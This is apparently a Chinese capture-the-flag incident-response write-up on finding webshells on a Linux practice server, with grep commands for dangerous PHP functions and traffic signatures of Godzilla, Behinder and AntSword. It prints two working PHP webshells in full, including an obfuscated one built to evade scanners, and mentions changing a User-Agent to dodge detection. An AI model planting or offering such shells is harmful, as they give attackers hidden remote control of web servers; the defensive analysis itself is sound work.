刚接触应急响应,完全按照wp做的希望有所收获,给出ssh进入靶机,题目要求查杀webshell,在linux下web一般存在于/var/www/html目录下

webshell的后缀一般为.asp .php .jsp .aspx,通过查找这些文件中的危险函数来判断是否为webshell,常见的危险函数
PHP: eval(), system(), exec(), shell_exec(), passthru(), assert()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()
我们可以用find命令查找相应的文件是否有危险函数
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval("
xargs:xargs命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令。
对于免杀混淆shell可能会使用base64_decode或者php字符串拼接的一些技术可以通过find来找出
find ./ type f -name "*.php" | xargs grep "base64_decode"
在第一题中通过找到三个文件带有危险函数,一个一个查看最终在gz.php中找到flag


第二题要我们寻找webshell的工具,在gz.php中代码如下
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
通过查找得知这是Godzilla的webshell,该webshell拿用户给出的key的md5值前16位值作为本次通讯加密的secretkey在对payload进行异或和base64和urlencode,一般特征@session_start();@set_time_limit(0);
@error_reporting(0);

流量特征
1.Godzilla由java编写,在不修改http头的情况下User-Agent会有类似于Java/1.8.0_121的情况出现
2.请求体采用base64编码,响应体返回的也是base64编码
补充其他webshell工具
1.冰蝎
- 第一阶段:密钥协商
攻击者通过 GET 或者 POST 方法,形如(http://127.0.0.1/shell.aspx?pass=645)
的请求服务器密钥。
服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。 - 第二阶段-加密传输
1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
3)执行结果通过AES加密后返回给攻击者。

流量特征
- Connection: Keep-Alive
- PHP站点默认口令Default_xor_base64协议加密流量特征,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
- PHP站点默认口令Default_aes协议加密流量特征,请求字节头:m7nCS8n4OZG9akdDlxm6OdJevs/jYQ5/IcXK,响应字节头:mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7
2.蚁剑
1.使用了AES加密算法对数据进行加密,同时还使用了自定义的二进制协议,存在eval这种明显的特征
2.默认的USER-agent请求头 是 antsword xxx,但是 可以通过修改:/modules/request.js 文件中 请求UA绕过
3.最明显的特征为@ini_set(“display_errors”,“0”);这段代码基本是所有webshell客户端链接PHP类Webshell都有的一种代码
4.蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以"_0x"这种形式,所以以_0x开头的参数也很可能就是恶意流量
故第二问的flag位md5(https://github.com/BeichenDream/Godzilla)
第三题在第一题的时候已经出来了
隐藏shell路径/var/www/html/include/Db/.Mysqli.php,是隐藏文件
第四问查看免杀shell

<?php
$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);
可以看到该免杀shell用了base64_encode进行混淆,用php字符串拼接来实现assert函数
参考文章
Comments NOTHING